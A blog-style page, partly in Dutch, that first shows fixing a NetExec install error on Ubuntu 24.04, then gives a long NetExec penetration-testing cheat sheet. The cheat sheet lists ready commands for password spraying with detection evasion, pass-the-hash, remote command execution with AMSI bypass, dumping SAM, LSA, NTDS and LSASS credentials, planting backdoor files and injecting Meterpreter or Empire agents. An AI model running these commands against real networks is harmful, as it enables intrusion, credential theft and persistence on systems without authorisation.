netexec

netexec

error when installing on Ubuntu 24.04.2

.

bolke@js-srv01:~$ pipx install git+https://github.com/Pennyw0rth/NetExec
Fatal error from pip prevented installation. Full pip output in file:
    /home/bolke/.local/state/pipx/log/cmd_2025-05-12_12.48.53_pip_errors.log

pip failed to build package:
    arc4

Some possibly relevant errors from pip install:
    error: subprocess-exited-with-error
    error: command 'x86_64-linux-gnu-gcc' failed: No such file or directory
    ERROR: Failed to build installable wheels for some pyproject.toml based projects (arc4)

Error installing netexec from spec 'git+https://github.com/Pennyw0rth/NetExec'.
bolke@js-srv01:~$

.

de oplossing is:

bolke@js-srv01:~$ pip3 install aardwolf --break-system-packages
Command 'pip3' not found, but can be installed with:
sudo apt install python3-pip
bolke@js-srv01:~$ sudo apt install python3-pip
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following additional packages will be installed:
  binutils binutils-common binutils-x86-64-linux-gnu build-essential bzip2 cpp cpp-13 cpp-13-x86-64-linux-gnu
--snip--
Setting up build-essential (12.10ubuntu1) ...
Processing triggers for man-db (2.12.0-4build2) ...
Processing triggers for libc-bin (2.39-0ubuntu8.4) ...
Scanning processes...
Scanning linux images...

Running kernel seems to be up-to-date.

No services need to be restarted.

No containers need to be restarted.

No user sessions are running outdated binaries.

No VM guests are running outdated hypervisor (qemu) binaries on this host.
bolke@js-srv01:~$ pipx install git+https://github.com/Pennyw0rth/NetExec
  installed package netexec 1.4.0+68.b243ee87, installed using Python 3.12.3
  These apps are now globally available
    - NetExec
    - netexec
    - nxc
    - nxcdb
done! ✨ 🌟 ✨
bolke@js-srv01:~$ netexec
[*] First time use detected
[*] Creating home directory structure
[*] Creating missing folder logs
[*] Creating missing folder modules
[*] Creating missing folder protocols
[*] Creating missing folder workspaces
[*] Creating missing folder obfuscated_scripts
[*] Creating missing folder screenshots
[*] Creating missing folder logs/sam
[*] Creating missing folder logs/lsa
[*] Creating missing folder logs/ntds
[*] Creating missing folder logs/dpapi
[*] Creating default workspace
[*] Initializing SSH protocol database
[*] Initializing LDAP protocol database
[*] Initializing WMI protocol database
[*] Initializing VNC protocol database
[*] Initializing NFS protocol database
[*] Initializing SMB protocol database
[*] Initializing WINRM protocol database
[*] Initializing RDP protocol database
[*] Initializing FTP protocol database
[*] Initializing MSSQL protocol database
[*] Copying default configuration file
usage: netexec [-h] [--version] [-t THREADS] [--timeout TIMEOUT] [--jitter INTERVAL] [--verbose] [--debug]
               [--no-progress] [--log LOG] [-6] [--dns-server DNS_SERVER] [--dns-tcp] [--dns-timeout DNS_TIMEOUT]
               {ssh,ldap,wmi,vnc,nfs,smb,winrm,rdp,ftp,mssql} ...

     .   .
    .|   |.     _   _          _     _____
    ||   ||    | \ | |   ___  | |_  | ____| __  __   ___    ___
    \\( )//    |  \| |  / _ \ | __| |  _|   \ \/ /  / _ \  / __|
    .=[ ]=.    | |\  | |  __/ | |_  | |___   >  <  |  __/ | (__
   / /Ë™-Ë™\ \   |_| \_|  \___|  \__| |_____| /_/\_\  \___|  \___|
   Ë™ \   / Ë™
     Ë™   Ë™

    The network execution tool
    Maintained as an open source project by @NeffIsBack, @MJHallenbeck, @_zblurx

    For documentation and usage examples, visit: https://www.netexec.wiki/

    Version : 1.4.0
    Codename: SmoothOperator
    Commit  : b243ee87


options:
  -h, --help            show this help message and exit

Generic:
  Generic options for nxc across protocols

  --version             Display nxc version
  -t THREADS, --threads THREADS
                        set how many concurrent threads to use
  --timeout TIMEOUT     max timeout in seconds of each thread
  --jitter INTERVAL     sets a random delay between each authentication

Output:
  Options to set verbosity levels and control output

  --verbose             enable verbose output
  --debug               enable debug level information
  --no-progress         do not displaying progress bar during scan
  --log LOG             export result into a custom file

DNS:
  -6                    Enable force IPv6
  --dns-server DNS_SERVER
                        Specify DNS server (default: Use hosts file & System DNS)
  --dns-tcp             Use TCP instead of UDP for DNS queries
  --dns-timeout DNS_TIMEOUT
                        DNS query timeout in seconds

Available Protocols:
  {ssh,ldap,wmi,vnc,nfs,smb,winrm,rdp,ftp,mssql}
    ssh                 own stuff using SSH
    ldap                own stuff using LDAP
    wmi                 own stuff using WMI
    vnc                 own stuff using VNC
    nfs                 own stuff using NFS
    smb                 own stuff using SMB
    winrm               own stuff using WINRM
    rdp                 own stuff using RDP
    ftp                 own stuff using FTP
    mssql               own stuff using MSSQL
bolke@js-srv01:~$

.

gebruikte referenties:

https://github.com/Pennyw0rth/NetExec/issues/350

en

https://www.netexec.wiki/getting-started/installation/installation-on-unix

.

.

NXC (NetExec) Cheatsheet

 

Complete reference for NetExec (NXC) – the network execution tool for pentesting

Version Note: This cheatsheet is based on the latest NetExec version. Always check nxc <protocol> --help and nxc <protocol> -L for your specific version.

Installation

 

pipx install netexec
# or
apt install netexec

Basic Syntax

 

nxc <protocol> <target> -u <user> -p <pass> / -H <hash> [flags] -M <module> -o <options>

Protocols Overview

 

  • smb – SMB/CIFS (Port 445)
  • ldap – LDAP (Port 389/636)
  • winrm – WinRM (Port 5985/5986)
  • ssh – SSH (Port 22)
  • rdp – RDP (Port 3389)
  • mssql – Microsoft SQL Server (Port 1433)
  • ftp – FTP (Port 21)
  • wmi – WMI (Port 135)
  • vnc – VNC (Port 5900)
  • nfs – NFS (Port 111)

Target Specification

 

nxc smb 192.168.1.10                    # Single host
nxc smb 192.168.1.0/24                  # CIDR range
nxc smb 192.168.1.1-100                 # Range
nxc smb targets.txt                     # File with targets (one per line)

Password Spraying

 

Pattern: protocol targets.txt users.txt passwords.txt

 

# Domain authentication (default)
nxc smb targets.txt -u users.txt -p passwords.txt -d DOMAIN

# Local authentication
nxc smb targets.txt -u users.txt -p passwords.txt --local-auth

# Continue on success (don't stop after first valid)
nxc smb targets.txt -u users.txt -p passwords.txt --continue-on-success

# Stop on first success per target
nxc smb targets.txt -u users.txt -p passwords.txt --no-bruteforce

# Single password spray (safer for avoiding lockouts)
nxc smb targets.txt -u users.txt -p 'Password123!' -d DOMAIN --continue-on-success

# With jitter to avoid detection
nxc smb targets.txt -u users.txt -p passwords.txt --jitter 5

# Fail limit options
nxc smb targets.txt -u users.txt -p passwords.txt --gfail-limit 10     # Global fail limit
nxc smb targets.txt -u users.txt -p passwords.txt --ufail-limit 3      # Per-user fail limit
nxc smb targets.txt -u users.txt -p passwords.txt --fail-limit 5       # Per-host fail limit

No Authentication

 

# Null session (empty username)
nxc smb 192.168.1.10 -u '' -p ''

# Guest account
nxc smb 192.168.1.10 -u 'guest' -p ''

# Anonymous LDAP bind
nxc ldap 192.168.1.10 -u '' -p ''

# Enumerate without credentials
nxc smb 192.168.1.0/24 --gen-relay-list relay.txt    # SMB signing check

Authentication Methods

 

Username and Password

 

nxc smb 192.168.1.10 -u admin -p 'password'
nxc smb 192.168.1.10 -u admin -p 'password' -d DOMAIN
nxc smb 192.168.1.10 -u admin -p 'password' --local-auth

Pass-the-Hash

 

nxc smb 192.168.1.10 -u admin -H <NTLM_HASH>
nxc smb 192.168.1.10 -u admin -H <LM:NTLM>
nxc smb 192.168.1.10 -u admin -H <NTLM> -d DOMAIN

Kerberos Authentication

 

# With password
nxc smb 192.168.1.10 -u admin -p 'password' -d DOMAIN -k

# Using cached ticket (ccache)
nxc smb 192.168.1.10 -u admin --use-kcache -k

# With AES key
nxc smb 192.168.1.10 -u admin --aesKey <AES_KEY> -k

# Specify KDC
nxc smb 192.168.1.10 -u admin -p 'password' -d DOMAIN -k --kdcHost dc01.domain.local

Certificate Authentication

 

# PFX certificate
nxc smb 192.168.1.10 --pfx-cert cert.pfx --pfx-pass password

# PEM certificate
nxc smb 192.168.1.10 --pem-cert cert.pem --pem-key key.pem

SMB Protocol (Port 445)

 

Basic Enumeration (No Auth)

 

nxc smb 192.168.1.0/24                              # Check SMB version, signing
nxc smb 192.168.1.0/24 --gen-relay-list relay.txt  # Find relay targets

Enumeration (With Auth)

 

nxc smb 192.168.1.10 -u user -p pass --shares              # List shares
nxc smb 192.168.1.10 -u user -p pass --shares --filter-shares read,write  # Filter by access
nxc smb 192.168.1.10 -u user -p pass --dir "C$"            # List directory contents
nxc smb 192.168.1.10 -u user -p pass --users               # Enumerate users
nxc smb 192.168.1.10 -u user -p pass --users --enabled     # Only enabled users
nxc smb 192.168.1.10 -u user -p pass --users-export out.txt  # Export users to file
nxc smb 192.168.1.10 -u user -p pass --groups              # Enumerate groups
nxc smb 192.168.1.10 -u user -p pass --computers           # Enumerate computers
nxc smb 192.168.1.10 -u user -p pass --local-groups        # Local groups
nxc smb 192.168.1.10 -u user -p pass --pass-pol            # Password policy
nxc smb 192.168.1.10 -u user -p pass --smb-sessions        # Active SMB sessions
nxc smb 192.168.1.10 -u user -p pass --disks               # Enumerate disks
nxc smb 192.168.1.10 -u user -p pass --interfaces          # Network interfaces
nxc smb 192.168.1.10 -u user -p pass --loggedon-users      # Logged on users
nxc smb 192.168.1.10 -u user -p pass --rid-brute           # RID cycling
nxc smb 192.168.1.10 -u user -p pass --qwinsta             # RDP connections
nxc smb 192.168.1.10 -u user -p pass --tasklist            # Running processes

WMI Queries

 

nxc smb 192.168.1.10 -u admin -p pass --wmi "SELECT * FROM Win32_Process"
nxc smb 192.168.1.10 -u admin -p pass --wmi "SELECT * FROM Win32_Service" --wmi-namespace "root\cimv2"

Spidering Shares

 

nxc smb 192.168.1.10 -u admin -p pass --spider C$
nxc smb 192.168.1.10 -u admin -p pass --spider C$ --spider-folder Users
nxc smb 192.168.1.10 -u admin -p pass --spider C$ --pattern password
nxc smb 192.168.1.10 -u admin -p pass --spider C$ --regex ".*\.txt$"
nxc smb 192.168.1.10 -u admin -p pass --spider C$ --content       # Search file content
nxc smb 192.168.1.10 -u admin -p pass --spider C$ --depth 3       # Max recursion depth
nxc smb 192.168.1.10 -u admin -p pass --spider C$ --only-files    # Files only
nxc smb 192.168.1.10 -u admin -p pass --spider C$ --exclude-dirs Windows,System32

Command Execution

 

nxc smb 192.168.1.10 -u admin -p pass -x "whoami"                    # CMD
nxc smb 192.168.1.10 -u admin -p pass -X '$PSVersionTable'           # PowerShell
nxc smb 192.168.1.10 -u admin -p pass --exec-method smbexec -x "whoami"
nxc smb 192.168.1.10 -u admin -p pass --exec-method atexec -x "whoami"
nxc smb 192.168.1.10 -u admin -p pass --exec-method wmiexec -x "whoami"
nxc smb 192.168.1.10 -u admin -p pass --exec-method mmcexec -x "whoami"
nxc smb 192.168.1.10 -u admin -p pass --no-output -x "command"       # Don't retrieve output

PowerShell Options

 

nxc smb 192.168.1.10 -u admin -p pass -X '$PSVersionTable' --obfs          # Obfuscate
nxc smb 192.168.1.10 -u admin -p pass -X 'command' --amsi-bypass bypass.ps1
nxc smb 192.168.1.10 -u admin -p pass -X 'command' --force-ps32            # Force 32-bit
nxc smb 192.168.1.10 -u admin -p pass -X 'command' --no-encode             # Don't encode
nxc smb 192.168.1.10 -u admin -p pass --clear-obfscripts                   # Clear cache

File Operations

 

nxc smb 192.168.1.10 -u admin -p pass --get-file "\\Windows\\Temp\\file.txt" ./local.txt
nxc smb 192.168.1.10 -u admin -p pass --put-file ./payload.exe "\\Windows\\Temp\\payload.exe"
nxc smb 192.168.1.10 -u admin -p pass --get-file "\\file.txt" ./out.txt --append-host

Credential Dumping

 

# SAM Database
nxc smb 192.168.1.10 -u admin -p pass --sam                        # Default method
nxc smb 192.168.1.10 -u admin -p pass --sam secdump                # Using secdump
nxc smb 192.168.1.10 -u admin -p pass --sam regdump                # Using regdump

# LSA Secrets
nxc smb 192.168.1.10 -u admin -p pass --lsa                        # Default method
nxc smb 192.168.1.10 -u admin -p pass --lsa secdump                # Using secdump
nxc smb 192.168.1.10 -u admin -p pass --lsa regdump                # Using regdump

# NTDS (Domain Controller)
nxc smb dc01.domain.local -u admin -p pass --ntds                  # Default (drsuapi)
nxc smb dc01.domain.local -u admin -p pass --ntds vss              # Using VSS
nxc smb dc01.domain.local -u admin -p pass --ntds drsuapi          # Using drsuapi
nxc smb dc01.domain.local -u admin -p pass --ntds --user admin     # Specific user
nxc smb dc01.domain.local -u admin -p pass --ntds --enabled        # Enabled accounts only

# DPAPI
nxc smb 192.168.1.10 -u admin -p pass --dpapi                      # Dump DPAPI
nxc smb 192.168.1.10 -u admin -p pass --dpapi cookies              # Include cookies
nxc smb 192.168.1.10 -u admin -p pass --dpapi nosystem             # Exclude SYSTEM
nxc smb 192.168.1.10 -u admin -p pass --dpapi --mkfile masterkeys.txt
nxc smb 192.168.1.10 -u admin -p pass --dpapi --pvk backupkey.pvk

# SCCM
nxc smb 192.168.1.10 -u admin -p pass --sccm                       # Default (wmi)
nxc smb 192.168.1.10 -u admin -p pass --sccm wmi                   # Using WMI
nxc smb 192.168.1.10 -u admin -p pass --sccm disk                  # Using disk

SMB Modules

 

LOW PRIVILEGE MODULES

 

# Vulnerability Checks
nxc smb 192.168.1.10 -u user -p pass -M ms17-010                   # EternalBlue
nxc smb 192.168.1.10 -u user -p pass -M zerologon                  # CVE-2020-1472
nxc smb 192.168.1.10 -u user -p pass -M nopac                      # CVE-2021-42278/42287
nxc smb 192.168.1.10 -u user -p pass -M printnightmare             # PrintNightmare
nxc smb 192.168.1.10 -u user -p pass -M remove-mic                 # CVE-2019-1040
nxc smb 192.168.1.10 -u user -p pass -M smbghost                   # CVE-2020-0796
nxc smb 192.168.1.10 -u user -p pass -M coerce_plus                # Coercion vulns
nxc smb 192.168.1.10 -u user -p pass -M timeroast                  # Timeroasting

# Enumeration
nxc smb 192.168.1.10 -u user -p pass -M enum_av                    # AV products
nxc smb 192.168.1.10 -u user -p pass -M enum_ca                    # ADCS CAs
nxc smb 192.168.1.10 -u user -p pass -M ioxidresolver              # Additional interfaces
nxc smb 192.168.1.10 -u user -p pass -M spooler                    # Print spooler
nxc smb 192.168.1.10 -u user -p pass -M webdav                     # WebClient service
nxc smb 192.168.1.10 -u user -p pass -M spider_plus                # Spider shares
nxc smb 192.168.1.10 -u user -p pass -M spider_plus -o READ_ONLY=false

# Password Hunting
nxc smb 192.168.1.10 -u user -p pass -M gpp_password               # GPP passwords
nxc smb 192.168.1.10 -u user -p pass -M gpp_autologin              # GPP autologin

# Backdoors
nxc smb 192.168.1.10 -u user -p pass -M drop-sc                    # Drop searchConnector
nxc smb 192.168.1.10 -u user -p pass -M scuffy                     # Drop .scf files
nxc smb 192.168.1.10 -u user -p pass -M slinky                     # Create LNK backdoors

# Computer Management
nxc smb 192.168.1.10 -u user -p pass -M add-computer               # Add/delete computer
nxc smb 192.168.1.10 -u user -p pass -M backup_operator            # Backup operator exploit

HIGH PRIVILEGE MODULES (requires admin)

 

# Credential Dumping
nxc smb 192.168.1.10 -u admin -p pass -M lsassy                    # LSASS dump
nxc smb 192.168.1.10 -u admin -p pass -M nanodump                  # Alternative LSASS
nxc smb 192.168.1.10 -u admin -p pass -M procdump                  # Process dump
nxc smb 192.168.1.10 -u admin -p pass -M handlekatz                # Handle dump
nxc smb 192.168.1.10 -u admin -p pass -M dpapi_hash                # DPAPI masterkeys
nxc smb 192.168.1.10 -u admin -p pass -M hash_spider               # Recursive LSASS
nxc smb 192.168.1.10 -u admin -p pass -M ntdsutil                  # NTDS with ntdsutil

# Application Credentials
nxc smb 192.168.1.10 -u admin -p pass -M keepass_discover          # Find KeePass
nxc smb 192.168.1.10 -u admin -p pass -M keepass_trigger           # KeePass trigger
nxc smb 192.168.1.10 -u admin -p pass -M mobaxterm                 # MobaXterm creds
nxc smb 192.168.1.10 -u admin -p pass -M mremoteng                 # mRemoteNG creds
nxc smb 192.168.1.10 -u admin -p pass -M putty                     # PuTTY keys
nxc smb 192.168.1.10 -u admin -p pass -M rdcman                    # RDCMan creds
nxc smb 192.168.1.10 -u admin -p pass -M winscp                    # WinSCP creds
nxc smb 192.168.1.10 -u admin -p pass -M vnc                       # VNC passwords
nxc smb 192.168.1.10 -u admin -p pass -M wifi                      # WiFi passwords
nxc smb 192.168.1.10 -u admin -p pass -M veeam                     # Veeam DB creds
nxc smb 192.168.1.10 -u admin -p pass -M msol                      # Azure AD Connect
nxc smb 192.168.1.10 -u admin -p pass -M teams_localdb             # Teams SSO cookie
nxc smb 192.168.1.10 -u admin -p pass -M wam                       # Token Broker Cache

# Enumeration
nxc smb 192.168.1.10 -u admin -p pass -M enum_dns                  # DNS records (WMI)
nxc smb 192.168.1.10 -u admin -p pass -M get_netconnections        # Network connections
nxc smb 192.168.1.10 -u admin -p pass -M bitlocker                 # BitLocker status
nxc smb 192.168.1.10 -u admin -p pass -M hyperv-host               # HyperV host
nxc smb 192.168.1.10 -u admin -p pass -M iis                       # IIS app pool creds
nxc smb 192.168.1.10 -u admin -p pass -M install_elevated          # AlwaysInstallElevated
nxc smb 192.168.1.10 -u admin -p pass -M ntlmv1                    # NTLMv1 enabled
nxc smb 192.168.1.10 -u admin -p pass -M runasppl                  # RunAsPPL status
nxc smb 192.168.1.10 -u admin -p pass -M uac                       # UAC status
nxc smb 192.168.1.10 -u admin -p pass -M wcc                       # Security config
nxc smb 192.168.1.10 -u admin -p pass -M security-questions        # Security Q&A

# File Operations
nxc smb 192.168.1.10 -u admin -p pass -M notepad++                 # Unsaved files
nxc smb 192.168.1.10 -u admin -p pass -M powershell_history        # PS history
nxc smb 192.168.1.10 -u admin -p pass -M recent_files              # Recent files
nxc smb 192.168.1.10 -u admin -p pass -M snipped                   # Snipping Tool

# Persistence & Execution
nxc smb 192.168.1.10 -u admin -p pass -M empire_exec               # Empire agent
nxc smb 192.168.1.10 -u admin -p pass -M met_inject                # Meterpreter
nxc smb 192.168.1.10 -u admin -p pass -M web_delivery              # Web delivery
nxc smb 192.168.1.10 -u admin -p pass -M impersonate               # Token impersonation
nxc smb 192.168.1.10 -u admin -p pass -M pi                        # Process injection
nxc smb 192.168.1.10 -u admin -p pass -M schtask_as                # Scheduled task

# Configuration Changes
nxc smb 192.168.1.10 -u admin -p pass -M rdp -o ACTION=enable      # Enable RDP
nxc smb 192.168.1.10 -u admin -p pass -M rdp -o ACTION=disable     # Disable RDP
nxc smb 192.168.1.10 -u admin -p pass -M shadowrdp                 # Shadow RDP
nxc smb 192.168.1.10 -u admin -p pass -M wdigest -o ACTION=enable  # Enable WDigest
nxc smb 192.168.1.10 -u admin -p pass -M remote-uac                # Remote UAC

# Registry Operations
nxc smb 192.168.1.10 -u admin -p pass -M reg-query                 # Registry query
nxc smb 192.168.1.10 -u admin -p pass -M reg-winlogon              # Winlogon creds

# Utility
nxc smb 192.168.1.10 -u admin -p pass -M test_connection           # Test connectivity

LDAP Protocol (Port 389/636)

 

Basic Enumeration

 

nxc ldap 192.168.1.10 -u user -p pass -d DOMAIN
nxc ldap 192.168.1.10 -u user -p pass -d DOMAIN --users           # Enumerate all users
nxc ldap 192.168.1.10 -u user -p pass -d DOMAIN --users user123   # Specific user
nxc ldap 192.168.1.10 -u user -p pass -d DOMAIN --users-export out.txt
nxc ldap 192.168.1.10 -u user -p pass -d DOMAIN --groups          # Enumerate all groups
nxc ldap 192.168.1.10 -u user -p pass -d DOMAIN --groups "Domain Admins"
nxc ldap 192.168.1.10 -u user -p pass -d DOMAIN --computers       # Enumerate computers
nxc ldap 192.168.1.10 -u user -p pass -d DOMAIN --dc-list         # List DCs
nxc ldap 192.168.1.10 -u user -p pass -d DOMAIN --get-sid         # Get domain SID

Advanced Queries

 

nxc ldap 192.168.1.10 -u user -p pass --admin-count               # adminCount=1 users
nxc ldap 192.168.1.10 -u user -p pass --trusted-for-delegation    # Trusted delegation
nxc ldap 192.168.1.10 -u user -p pass --password-not-required     # Empty passwords allowed
nxc ldap 192.168.1.10 -u user -p pass --active-users              # Active accounts only
nxc ldap 192.168.1.10 -u user -p pass --find-delegation           # Delegation relationships

# GMSA
nxc ldap 192.168.1.10 -u user -p pass --gmsa                       # Enumerate GMSA
nxc ldap 192.168.1.10 -u user -p pass --gmsa-convert-id gmsa_name
nxc ldap 192.168.1.10 -u user -p pass --gmsa-decrypt-lsa lsa_data

# Custom LDAP Query
nxc ldap 192.168.1.10 -u user -p pass --query "(objectClass=user)" "cn,sAMAccountName"
nxc ldap 192.168.1.10 -u user -p pass --base-dn "OU=Users,DC=domain,DC=local"

Kerberoasting & ASREPRoasting

 

nxc ldap 192.168.1.10 -u user -p pass --kerberoasting output.txt
nxc ldap 192.168.1.10 -u user -p pass --asreproast output.txt

Bloodhound Collection

 

nxc ldap 192.168.1.10 -u user -p pass --bloodhound
nxc ldap 192.168.1.10 -u user -p pass --bloodhound -c All
nxc ldap 192.168.1.10 -u user -p pass --bloodhound -c Default
nxc ldap 192.168.1.10 -u user -p pass --bloodhound -c DCOnly
nxc ldap 192.168.1.10 -u user -p pass --bloodhound -c Session,LoggedOn
nxc ldap 192.168.1.10 -u user -p pass --bloodhound -c Group,LocalAdmin,ACL

LDAP Modules

 

LOW PRIVILEGE MODULES

 

nxc ldap 192.168.1.10 -u user -p pass -M adcs                      # Find ADCS/PKI
nxc ldap 192.168.1.10 -u user -p pass -M daclread                  # Read DACLs
nxc ldap 192.168.1.10 -u user -p pass -M enum_trusts               # Trust relationships
nxc ldap 192.168.1.10 -u user -p pass -M find-computer             # Find computers
nxc ldap 192.168.1.10 -u user -p pass -M get-desc-users            # User descriptions
nxc ldap 192.168.1.10 -u user -p pass -M get-network               # DNS records/IPs
nxc ldap 192.168.1.10 -u user -p pass -M get-unixUserPassword      # Unix passwords
nxc ldap 192.168.1.10 -u user -p pass -M get-userPassword          # User passwords
nxc ldap 192.168.1.10 -u user -p pass -M groupmembership           # User group membership
nxc ldap 192.168.1.10 -u user -p pass -M laps                      # LAPS passwords
nxc ldap 192.168.1.10 -u user -p pass -M ldap-checker              # LDAP signing/binding
nxc ldap 192.168.1.10 -u user -p pass -M maq                       # MachineAccountQuota
nxc ldap 192.168.1.10 -u user -p pass -M obsolete                  # Obsolete OS
nxc ldap 192.168.1.10 -u user -p pass -M pre2k                     # Pre-created accounts
nxc ldap 192.168.1.10 -u user -p pass -M pso                       # Password policies
nxc ldap 192.168.1.10 -u user -p pass -M sccm                      # SCCM infrastructure
nxc ldap 192.168.1.10 -u user -p pass -M subnets                   # Sites and subnets
nxc ldap 192.168.1.10 -u user -p pass -M user-desc                 # User descriptions
nxc ldap 192.168.1.10 -u user -p pass -M whoami                    # Current user details

WinRM Protocol (Port 5985/5986)

 

Basic Usage

 

nxc winrm 192.168.1.10 -u admin -p pass
nxc winrm 192.168.1.10 -u admin -H <NTLM_HASH>
nxc winrm 192.168.1.10 -u admin -p pass -d DOMAIN
nxc winrm 192.168.1.10 -u admin -p pass --local-auth
nxc winrm 192.168.1.10 -u admin -p pass --laps                     # LAPS auth

Port Configuration

 

nxc winrm 192.168.1.10 -u admin -p pass --port 5985                # HTTP only
nxc winrm 192.168.1.10 -u admin -p pass --port 5986                # HTTPS only
nxc winrm 192.168.1.10 -u admin -p pass --port 5985 5986           # Both ports
nxc winrm 192.168.1.10 -u admin -p pass --check-proto http         # HTTP only
nxc winrm 192.168.1.10 -u admin -p pass --check-proto https        # HTTPS only
nxc winrm 192.168.1.10 -u admin -p pass --check-proto http https   # Both protocols
nxc winrm 192.168.1.10 -u admin -p pass --http-timeout 15          # Timeout

Command Execution

 

nxc winrm 192.168.1.10 -u admin -p pass -x "whoami"
nxc winrm 192.168.1.10 -u admin -p pass -X '$PSVersionTable'
nxc winrm 192.168.1.10 -u admin -p pass -x "ipconfig /all"
nxc winrm 192.168.1.10 -u admin -p pass --no-output -x "command"

Credential Dumping

 

nxc winrm 192.168.1.10 -u admin -p pass --sam                      # Dump SAM
nxc winrm 192.168.1.10 -u admin -p pass --lsa                      # Dump LSA
nxc winrm 192.168.1.10 -u admin -p pass --dump-method cmd          # Using cmd
nxc winrm 192.168.1.10 -u admin -p pass --dump-method powershell   # Using PowerShell

WinRM Modules

 

# No modules available for WinRM protocol in current version

SSH Protocol (Port 22)

 

Authentication

 

nxc ssh 192.168.1.10 -u root -p password
nxc ssh 192.168.1.10 -u root -p passwords.txt
nxc ssh 192.168.1.10 -u root --key-file id_rsa
nxc ssh 192.168.1.10 -u root --key-file id_rsa -p passphrase
nxc ssh 192.168.1.10 -u users.txt -p passwords.txt
nxc ssh 192.168.1.10 -u root -p pass --port 2222
nxc ssh 192.168.1.10 -u root -p pass --ssh-timeout 20

Command Execution

 

nxc ssh 192.168.1.10 -u root -p pass -x "cat /etc/passwd"
nxc ssh 192.168.1.10 -u root -p pass -x "uname -a"
nxc ssh 192.168.1.10 -u root -p pass -x "id"
nxc ssh 192.168.1.10 -u root -p pass --no-output -x "command"

Sudo Operations

 

nxc ssh 192.168.1.10 -u user -p pass --sudo-check                  # Check sudo privs
nxc ssh 192.168.1.10 -u user -p pass --sudo-check-method sudo-stdin
nxc ssh 192.168.1.10 -u user -p pass --sudo-check-method mkfifo
nxc ssh 192.168.1.10 -u user -p pass --get-output-tries 10

File Operations

 

nxc ssh 192.168.1.10 -u root -p pass --put-file local.txt /tmp/remote.txt
nxc ssh 192.168.1.10 -u root -p pass --get-file /etc/passwd ./passwd.txt

SSH Modules

 

# No modules available for SSH protocol in current version

RDP Protocol (Port 3389)

 

Check Access

 

nxc rdp 192.168.1.10 -u admin -p password
nxc rdp 192.168.1.10 -u admin -H <NTLM_HASH>
nxc rdp 192.168.1.10 -u users.txt -p passwords.txt -d DOMAIN
nxc rdp 192.168.1.10 -u admin -p pass --local-auth
nxc rdp 192.168.1.10 -u admin -p pass --port 3390
nxc rdp 192.168.1.10 -u admin -p pass --rdp-timeout 10

Screenshots

 

nxc rdp 192.168.1.10 -u admin -p pass --screenshot
nxc rdp 192.168.1.10 -u admin -p pass --screenshot --screentime 10
nxc rdp 192.168.1.10 -u admin -p pass --screenshot --res 1920x1080
nxc rdp 192.168.1.10 -u admin -p pass --nla-screenshot             # If NLA disabled

RDP Modules

 

# No modules available for RDP protocol in current version

MSSQL Protocol (Port 1433)

 

Authentication

 

nxc mssql 192.168.1.10 -u sa -p password
nxc mssql 192.168.1.10 -u sa -p password --local-auth
nxc mssql 192.168.1.10 -u user -p pass -d DOMAIN
nxc mssql 192.168.1.10 -u user -p pass -d DOMAIN -k              # Kerberos
nxc mssql 192.168.1.10 -u sa -H <NTLM_HASH>
nxc mssql 192.168.1.10 -u sa -p pass --port 1434
nxc mssql 192.168.1.10 -u sa -p pass --mssql-timeout 10

Queries

 

nxc mssql 192.168.1.10 -u sa -p pass -q "SELECT @@version"
nxc mssql 192.168.1.10 -u sa -p pass -q "SELECT name FROM sys.databases"
nxc mssql 192.168.1.10 -u sa -p pass -q "SELECT name FROM sys.server_principals"
nxc mssql 192.168.1.10 -u sa -p pass -q "EXEC sp_helprotect"

Command Execution

 

nxc mssql 192.168.1.10 -u sa -p pass -x "whoami"                 # via xp_cmdshell
nxc mssql 192.168.1.10 -u sa -p pass -X 'Get-Host'               # PowerShell
nxc mssql 192.168.1.10 -u sa -p pass --no-output -x "command"

PowerShell Options

 

nxc mssql 192.168.1.10 -u sa -p pass -X 'command' --force-ps32
nxc mssql 192.168.1.10 -u sa -p pass -X 'command' --obfs
nxc mssql 192.168.1.10 -u sa -p pass -X 'command' --amsi-bypass bypass.ps1
nxc mssql 192.168.1.10 -u sa -p pass -X 'command' --no-encode
nxc mssql 192.168.1.10 -u sa -p pass --clear-obfscripts

File Operations

 

nxc mssql 192.168.1.10 -u sa -p pass --put-file local.txt C:\\Temp\\remote.txt
nxc mssql 192.168.1.10 -u sa -p pass --get-file C:\\Temp\\file.txt ./local.txt

Enumeration

 

nxc mssql 192.168.1.10 -u sa -p pass --rid-brute                  # RID bruteforce
nxc mssql 192.168.1.10 -u sa -p pass --rid-brute 5000

MSSQL Modules

 

LOW PRIVILEGE MODULES

 

nxc mssql 192.168.1.10 -u user -p pass -M enum_impersonate        # Impersonation privs
nxc mssql 192.168.1.10 -u user -p pass -M enum_logins             # SQL logins
nxc mssql 192.168.1.10 -u user -p pass -M exec_on_link            # Execute on linked server
nxc mssql 192.168.1.10 -u user -p pass -M link_enable_xp          # Enable xp_cmdshell on link
nxc mssql 192.168.1.10 -u user -p pass -M link_xpcmd              # Run xp_cmdshell on link
nxc mssql 192.168.1.10 -u user -p pass -M mssql_coerce            # Execute arbitrary SQL
nxc mssql 192.168.1.10 -u user -p pass -M mssql_priv              # Enumerate/exploit privs

HIGH PRIVILEGE MODULES

 

nxc mssql 192.168.1.10 -u sa -p pass -M empire_exec               # Empire agent
nxc mssql 192.168.1.10 -u sa -p pass -M enum_links                # Enumerate linked servers
nxc mssql 192.168.1.10 -u sa -p pass -M met_inject                # Meterpreter injection
nxc mssql 192.168.1.10 -u sa -p pass -M nanodump                  # LSASS dump
nxc mssql 192.168.1.10 -u sa -p pass -M test_connection           # Test connectivity
nxc mssql 192.168.1.10 -u sa -p pass -M web_delivery              # Web delivery

FTP Protocol (Port 21)

 

Authentication

 

nxc ftp 192.168.1.10 -u admin -p password
nxc ftp 192.168.1.10 -u anonymous -p ''
nxc ftp 192.168.1.10 -u users.txt -p passwords.txt
nxc ftp 192.168.1.10 -u admin -p pass --port 2121

File Operations

 

nxc ftp 192.168.1.10 -u admin -p pass --ls                        # List root
nxc ftp 192.168.1.10 -u admin -p pass --ls /var/www
nxc ftp 192.168.1.10 -u admin -p pass --get file.txt
nxc ftp 192.168.1.10 -u admin -p pass --put local.txt remote.txt

FTP Modules

 

# No modules available for FTP protocol in current version

VNC Protocol (Port 5900)

 

Authentication

 

nxc vnc 192.168.1.10 -u admin -p password
nxc vnc 192.168.1.10 -u admin -p passwords.txt
nxc vnc 192.168.1.10 -u admin -p pass --port 5901
nxc vnc 192.168.1.10 -u admin -p pass --vnc-sleep 5               # Rate limiting

Screenshot

 

nxc vnc 192.168.1.10 -u admin -p pass --screenshot
